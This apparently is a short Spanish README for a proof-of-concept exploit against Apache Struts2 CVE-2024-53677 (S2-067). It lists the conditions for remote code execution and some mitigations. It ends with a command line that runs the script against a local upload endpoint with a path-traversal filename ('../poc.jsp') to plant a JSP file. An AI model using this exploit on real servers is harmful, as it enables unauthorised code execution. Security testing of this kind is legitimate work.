El POC proviene de

https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/

Condiciones de RCE

1. Sin restricción en las extensiones de archivo peligrosas
2. El nombre del archivo se obtiene de los parámetros de carga al subir el archivo

Por lo tanto, la mitigación también es sencilla: restringir las extensiones, usar nombres de archivo aleatorios personalizados, etc.

Uso del script

python3 s2-067.py -h  

python3 s2-067.py -u http://localhost:28080/uploadFile -filename ../poc.jsp -file 2.jsp -type s